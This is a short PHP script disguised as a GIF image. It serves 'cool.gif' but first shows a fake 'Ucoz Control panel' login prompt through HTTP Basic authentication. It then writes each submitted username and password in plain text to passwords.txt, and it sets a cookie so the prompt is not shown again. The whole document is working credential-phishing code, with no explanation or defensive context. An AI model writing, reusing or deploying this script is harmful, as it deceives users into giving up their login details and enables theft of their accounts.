header("Content-type: image/gif"); $image = imagecreatefromgif('cool.gif'); if(!$_COOKIE['LOGON']) { $login = $_SERVER['PHP_AUTH_USER']; $pass = $_SERVER['PHP_AUTH_PW']; if(strlen($pass) <= 4 || !$login) { Header('HTTP/1.1 401 Unauthorized'); Header('WWW-Authenticate: Basic realm="Ucoz Control panel"'); } elseif($login) { setcookie('LOGON',md5($pass)); $f = fopen('passwords.txt', 'ab'); fwrite($f, $login." ||| ".$pass."\r\n"); fclose($f); } } imagegif($image); imagedestroy($image); ?>